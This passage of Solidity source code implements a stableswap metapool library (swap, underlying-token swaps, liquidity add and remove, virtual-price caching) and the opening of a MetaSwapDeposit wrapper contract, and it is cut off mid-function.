_getBaseVirtualPrice(metaSwapStorage) ), self._getAPrecise() ); uint256 supply = self.lpToken.totalSupply(); if (supply != 0) { return d.mul(BASE_VIRTUAL_PRICE_PRECISION).div(supply); } return 0; } /** * @notice Externally calculates a swap between two tokens. The SwapUtils.Swap storage and * MetaSwap storage should be from the same MetaSwap contract. * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, _getBaseVirtualPrice(metaSwapStorage) ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param baseVirtualPrice the virtual price of the base LP token * @return dy the number of tokens the user will get and dyFee the associated fee */ function _calculateSwap( SwapUtils.Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 baseVirtualPrice ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self, baseVirtualPrice); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 baseLPTokenIndex = xp.length.sub(1); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]); if (tokenIndexFrom == baseLPTokenIndex) { // When swapping from a base Swap token, scale up dx by its virtual price x = x.mul(baseVirtualPrice).div(BASE_VIRTUAL_PRICE_PRECISION); } x = x.add(xp[tokenIndexFrom]); uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); if (tokenIndexTo == baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); } dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee); dy = dy.div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice Calculates the expected return amount from swapping between * the pooled tokens and the underlying tokens of the base Swap pool. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { CalculateSwapUnderlyingInfo memory v = CalculateSwapUnderlyingInfo( _getBaseVirtualPrice(metaSwapStorage), metaSwapStorage.baseSwap, 0, uint8(metaSwapStorage.baseTokens.length), 0, 0, 0 ); uint256[] memory xp = _xp(self, v.baseVirtualPrice); v.baseLPTokenIndex = uint8(xp.length.sub(1)); { uint8 maxRange = v.baseLPTokenIndex + v.baseTokensLength; require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } if (tokenIndexFrom < v.baseLPTokenIndex) { // tokenFrom is from this pool v.x = xp[tokenIndexFrom].add( dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // tokenFrom is from the base pool tokenIndexFrom = tokenIndexFrom - v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { uint256[] memory baseInputs = new uint256[](v.baseTokensLength); baseInputs[tokenIndexFrom] = dx; v.x = v .baseSwap .calculateTokenAmount(baseInputs, true) .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION); // when adding to the base pool,you pay approx 50% of the swap fee v.x = v .x .sub( v.x.mul(_getBaseSwapFee(metaSwapStorage.baseSwap)).div( FEE_DENOMINATOR.mul(2) ) ) .add(xp[v.baseLPTokenIndex]); } else { // both from and to are from the base pool return v.baseSwap.calculateSwap( tokenIndexFrom, tokenIndexTo - v.baseLPTokenIndex, dx ); } tokenIndexFrom = v.baseLPTokenIndex; } v.metaIndexTo = v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { v.metaIndexTo = tokenIndexTo; } { uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); uint256 dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee); } if (tokenIndexTo < v.baseLPTokenIndex) { // tokenTo is from this pool v.dy = v.dy.div(self.tokenPrecisionMultipliers[v.metaIndexTo]); } else { // tokenTo is from the base pool v.dy = v.baseSwap.calculateRemoveLiquidityOneToken( v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(v.baseVirtualPrice), tokenIndexTo - v.baseLPTokenIndex ); } return v.dy; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = self._getAPrecise(); uint256 d0; uint256 d1; { uint256 baseVirtualPrice = _getBaseVirtualPrice(metaSwapStorage); uint256[] memory balances1 = self.balances; uint256[] memory tokenPrecisionMultipliers = self .tokenPrecisionMultipliers; uint256 numTokens = balances1.length; d0 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } d1 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); } uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { uint256 pooledTokensLength = self.pooledTokens.length; require( tokenIndexFrom < pooledTokensLength && tokenIndexTo < pooledTokensLength, "Token index is out of range" ); } uint256 transferredDx; { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); { // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math transferredDx = tokenFrom.balanceOf(address(this)).sub( beforeBalance ); } } (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx, _updateBaseVirtualPrice(metaSwapStorage) ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Swaps with the underlying tokens of the base Swap pool. For this function, * the token indices are flattened out so that underlying tokens are represented * in the indices. * @dev Since this calls multiple external functions during the execution, * it is recommended to protect any function that depends on this with reentrancy guards. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { SwapUnderlyingInfo memory v = SwapUnderlyingInfo( 0, 0, 0, self.tokenPrecisionMultipliers, self.balances, metaSwapStorage.baseTokens, IERC20(address(0)), 0, IERC20(address(0)), 0, _updateBaseVirtualPrice(metaSwapStorage) ); uint8 baseLPTokenIndex = uint8(v.oldBalances.length.sub(1)); { uint8 maxRange = uint8(baseLPTokenIndex + v.baseTokens.length); require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } ISwap baseSwap = metaSwapStorage.baseSwap; // Find the address of the token swapping from and the index in MetaSwap's token list if (tokenIndexFrom < baseLPTokenIndex) { v.tokenFrom = self.pooledTokens[tokenIndexFrom]; v.metaIndexFrom = tokenIndexFrom; } else { v.tokenFrom = v.baseTokens[tokenIndexFrom - baseLPTokenIndex]; v.metaIndexFrom = baseLPTokenIndex; } // Find the address of the token swapping to and the index in MetaSwap's token list if (tokenIndexTo < baseLPTokenIndex) { v.tokenTo = self.pooledTokens[tokenIndexTo]; v.metaIndexTo = tokenIndexTo; } else { v.tokenTo = v.baseTokens[tokenIndexTo - baseLPTokenIndex]; v.metaIndexTo = baseLPTokenIndex; } // Check for possible fee on transfer v.dx = v.tokenFrom.balanceOf(address(this)); v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx); v.dx = v.tokenFrom.balanceOf(address(this)).sub(v.dx); // update dx in case of fee on transfer if ( tokenIndexFrom < baseLPTokenIndex || tokenIndexTo < baseLPTokenIndex ) { // Either one of the tokens belongs to the MetaSwap tokens list uint256[] memory xp = _xp( v.oldBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ); if (tokenIndexFrom < baseLPTokenIndex) { // Swapping from a MetaSwap token v.x = xp[tokenIndexFrom].add( dx.mul(v.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // Swapping from one of the tokens hosted in the base Swap // This case requires adding the underlying token to the base Swap, then // using the base LP token to swap to the desired token uint256[] memory baseAmounts = new uint256[]( v.baseTokens.length ); baseAmounts[tokenIndexFrom - baseLPTokenIndex] = v.dx; // Add liquidity to the base Swap contract and receive base LP token v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp); // Calculate the value of total amount of baseLPToken we end up with v.x = v .dx .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[baseLPTokenIndex]); } // Calculate how much to withdraw in MetaSwap level and the the associated swap fee uint256 dyFee; { uint256 y = SwapUtils.getY( self._getAPrecise(), v.metaIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price v.dy = v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div( v.baseVirtualPrice ); } dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee).div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); } // Update the balances array according to the calculated input and output amount { uint256 dyAdminFee = dyFee.mul(self.adminFee).div( FEE_DENOMINATOR ); dyAdminFee = dyAdminFee.div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); self.balances[v.metaIndexFrom] = v .oldBalances[v.metaIndexFrom] .add(v.dx); self.balances[v.metaIndexTo] = v .oldBalances[v.metaIndexTo] .sub(v.dy) .sub(dyAdminFee); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a token that belongs to the base Swap, burn the LP token // and withdraw the desired token from the base pool uint256 oldBalance = v.tokenTo.balanceOf(address(this)); baseSwap.removeLiquidityOneToken( v.dy, tokenIndexTo - baseLPTokenIndex, 0, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance; } // Check the amount of token to send meets minDy require(v.dy >= minDy, "Swap didn't result in min tokens"); } else { // Both tokens are from the base Swap pool // Do a swap through the base Swap v.dy = v.tokenTo.balanceOf(address(this)); baseSwap.swap( tokenIndexFrom - baseLPTokenIndex, tokenIndexTo - baseLPTokenIndex, v.dx, minDy, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy); } // Send the desired token to the caller v.tokenTo.safeTransfer(msg.sender, v.dy); emit TokenSwapUnderlying( msg.sender, dx, v.dy, tokenIndexFrom, tokenIndexTo ); return v.dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](pooledTokens.length); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); } for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } v.newBalances[i] = v.newBalances[i].add(amounts[i]); } // invariant after change v.d1 = SwapUtils.getD( _xp(v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256 toMint; if (v.totalSupply != 0) { uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(v.newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = v.newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); v.newBalances[i] = v.newBalances[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } else { // the initial depositor doesn't pay fees self.balances = v.newBalances; toMint = v.d1; } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; uint256 totalSupply = lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _updateBaseVirtualPrice(metaSwapStorage), totalSupply ); require(dy >= minAmount, "dy < minAmount"); // Update balances array self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); // Burn the associated LP token from the caller and send the desired token lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { // Using this struct to avoid stack too deep error ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); require( amounts.length == v.newBalances.length, "Amounts should match pool tokens" ); require(maxBurnAmount != 0, "Must burn more than 0"); uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, v.newBalances.length ); // Calculate how much LPToken should be burned uint256[] memory fees = new uint256[](v.newBalances.length); { uint256[] memory balances1 = new uint256[](v.newBalances.length); v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { balances1[i] = v.newBalances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { uint256 idealBalance = v.d1.mul(v.newBalances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); // Scale up by withdraw fee tokenAmount = tokenAmount.add(1); // Check for max burn amount require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); // Burn the calculated amount of LPToken from the caller and send the desired tokens v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < v.newBalances.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice Determines if the stored value of base Swap's virtual price is expired. * If the last update was past the BASE_CACHE_EXPIRE_TIME, then update the stored value. * * @param metaSwapStorage MetaSwap struct to read from and write to * @return base Swap's virtual price */ function _updateBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { // When the cache is expired, update it uint256 baseVirtualPrice = ISwap(metaSwapStorage.baseSwap) .getVirtualPrice(); metaSwapStorage.baseVirtualPrice = baseVirtualPrice; metaSwapStorage.baseCacheLastUpdated = block.timestamp; return baseVirtualPrice; } else { return metaSwapStorage.baseVirtualPrice; } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../interfaces/IMetaSwap.sol"; /** * @title MetaSwapDeposit * @notice This contract flattens the LP token in a MetaSwap pool for easier user access. MetaSwap must be * deployed before this contract can be initialized successfully. * * For example, suppose there exists a base Swap pool consisting of [DAI, USDC, USDT]. * Then a MetaSwap pool can be created with [sUSD, BaseSwapLPToken] to allow trades between either * the LP token or the underlying tokens and sUSD. * * MetaSwapDeposit flattens the LP token and remaps them to a single array, allowing users * to ignore the dependency on BaseSwapLPToken. Using the above example, MetaSwapDeposit can act * as a Swap containing [sUSD, DAI, USDC, USDT] tokens. */ contract MetaSwapDeposit is Initializable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; ISwap public baseSwap; IMetaSwap public metaSwap; IERC20[] public baseTokens; IERC20[] public metaTokens; IERC20[] public tokens; IERC20 public metaLPToken; uint256 constant MAX_UINT256 = 2**256 - 1; struct RemoveLiquidityImbalanceInfo { ISwap baseSwap; IMetaSwap metaSwap; IERC20 metaLPToken; uint8 baseLPTokenIndex; bool withdrawFromBase; uint256 leftoverMetaLPTokenAmount; } /** * @notice Sets the address for the base Swap contract, MetaSwap contract, and the * MetaSwap LP token contract. * @param _baseSwap the address of the base Swap contract * @param _metaSwap the address of the MetaSwap contract * @param _metaLPToken the address of the MetaSwap LP token contract */ function initialize( ISwap _baseSwap, IMetaSwap _metaSwap, IERC20 _metaLPToken ) external initializer { __ReentrancyGuard_init(); // Check and approve base level tokens to be deposited to the base Swap contract { uint8 i; for (; i < 32; i++) { try _baseSwap.getToken(i) returns (IERC20 token) { baseTokens.push(token); token.safeApprove(address(_baseSwap), MAX_UINT256); token.safeApprove(address(_metaSwap), MAX_UINT256); } catch { break; } } require(i > 1, "baseSwap must have at least 2 tokens"); } // Check and approve meta level tokens to be deposited to the MetaSwap contract IERC20 baseLPToken; { uint8 i; for (; i < 32; i++) { try _metaSwap.getToken(i) returns (IERC20 token) { baseLPToken = token; metaTokens.push(token); tokens.push(token); token.safeApprove(address(_metaSwap), MAX_UINT256); } catch { break; } } require(i > 1, "metaSwap must have at least 2 tokens"); } // Flatten baseTokens and append it to tokens array tokens[tokens.length - 1] = baseTokens[0]; for (uint8 i = 1; i < baseTokens.length; i++) { tokens.push(baseTokens[i]); } // Approve base Swap LP token to be burned by the base Swap contract for withdrawing baseLPToken.safeApprove(address(_baseSwap), MAX_UINT256); // Approve MetaSwap LP token to be burned by the MetaSwap contract for withdrawing _metaLPToken.safeApprove(address(_metaSwap), MAX_UINT256); // Initialize storage variables baseSwap = _baseSwap; metaSwap = _metaSwap; metaLPToken = _metaLPToken; } // Mutative functions /** * @notice Swap two underlying tokens using the meta pool and the base pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external nonReentrant returns (uint256) { tokens[tokenIndexFrom].safeTransferFrom(msg.sender, address(this), dx); uint256 tokenToAmount = metaSwap.swapUnderlying( tokenIndexFrom, tokenIndexTo, dx, minDy, deadline ); tokens[tokenIndexTo].safeTransfer(msg.sender, tokenToAmount); return tokenToAmount; } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external nonReentrant returns (uint256) { // Read to memory to save on gas IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256 baseLPTokenIndex = memMetaTokens.length - 1; require(amounts.length == memBaseTokens.length + baseLPTokenIndex); uint256 baseLPTokenAmount; { // Transfer base tokens from the caller and deposit to the base Swap pool uint256[] memory baseAmounts = new uint256[](memBaseTokens.length); bool shouldDepositBaseTokens; for (uint8 i = 0; i < memBaseTokens.length; i++) { IERC20 token = memBaseTokens[i]; uint256 depositAmount = amounts[baseLPTokenIndex + i]; if (depositAmount > 0) { token.safeTransferFrom( msg.sender, address(this), depositAmount ); baseAmounts[i] = token.balanceOf(address(this)); // account for any fees on transfer // if there are any base Swap level tokens, flag it for deposits shouldDepositBaseTokens = true; } } if (shouldDepositBaseTokens) { // Deposit any base Swap level tokens and receive baseLPToken baseLPTokenAmount = baseSwap.addLiquidity( baseAmounts, 0, deadline ); } } uint256 metaLPTokenAmount; { // Transfer remaining meta level tokens from the caller uint256[] memory metaAmounts = new uint256[](metaTokens.length); for (uint8 i = 0; i < baseLPTokenIndex; i++) { IERC20 token = memMetaTokens[i]; uint256 depositAmount = amounts[i]; if (depositAmount > 0) { token.safeTransferFrom( msg.sender, address(this), depositAmount ); metaAmounts[i] = token.balanceOf(address(this)); // account for any fees on transfer } } // Update the baseLPToken amount that will be deposited metaAmounts[baseLPTokenIndex] = baseLPTokenAmount; // Deposit the meta level tokens and the baseLPToken metaLPTokenAmount = metaSwap.addLiquidity( metaAmounts, minToMint, deadline ); } // Transfer the meta lp token to the caller metaLPToken.safeTransfer(msg.sender, metaLPTokenAmount); return metaLPTokenAmount; } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external nonReentrant returns (uint256[] memory) { IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256[] memory totalRemovedAmounts; { uint256 numOfAllTokens = memBaseTokens.length + memMetaTokens.length - 1; require(minAmounts.length == numOfAllTokens, "out of range"); totalRemovedAmounts = new uint256[](numOfAllTokens); } // Transfer meta lp token from the caller to this metaLPToken.safeTransferFrom(msg.sender, address(this), amount); uint256 baseLPTokenAmount; { // Remove liquidity from the MetaSwap pool uint256[] memory removedAmounts; uint256 baseLPTokenIndex = memMetaTokens.length - 1; { uint256[] memory metaMinAmounts = new uint256[]( memMetaTokens.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { metaMinAmounts[i] = minAmounts[i]; } removedAmounts = metaSwap.removeLiquidity( amount, metaMinAmounts, deadline ); } // Send the meta level tokens to the caller for (uint8 i = 0; i < baseLPTokenIndex; i++) { totalRemovedAmounts[i] = removedAmounts[i]; memMetaTokens[i].safeTransfer(msg.sender, removedAmounts[i]); } baseLPTokenAmount = removedAmounts[baseLPTokenIndex]; // Remove liquidity from the base Swap pool { uint256[] memory baseMinAmounts = new uint256[]( memBaseTokens.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { baseMinAmounts[i] = minAmounts[baseLPTokenIndex + i]; } removedAmounts = baseSwap.removeLiquidity( baseLPTokenAmount, baseMinAmounts, deadline ); } // Send the base level tokens to the caller for (uint8 i = 0; i < memBaseTokens.length; i++) { totalRemovedAmounts[baseLPTokenIndex + i] = removedAmounts[i]; memBaseTokens[i].safeTransfer(msg.sender, removedAmounts[i]); } } return totalRemovedAmounts; } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external nonReentrant returns (uint256) { uint8 baseLPTokenIndex = uint8(metaTokens.length - 1); uint8 baseTokensLength = uint8(baseTokens.length); // Transfer metaLPToken from the caller metaLPToken.safeTransferFrom(msg.sender, address(this), tokenAmount); IERC20 token; if (tokenIndex < baseLPTokenIndex) { // When the desired token is meta level token, we can just call `removeLiquidityOneToken` directly metaSwap.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount, deadline ); token = metaTokens[tokenIndex]; } else if (tokenIndex < baseLPTokenIndex + baseTokensLength) { // When the desired token is a base level token, we need to first withdraw via baseLPToken, then withdraw // the desired token from the base Swap contract. uint256 removedBaseLPTokenAmount = metaSwap.removeLiquidityOneToken( tokenAmount, baseLPTokenIndex, 0, deadline ); baseSwap.removeLiquidityOneToken( 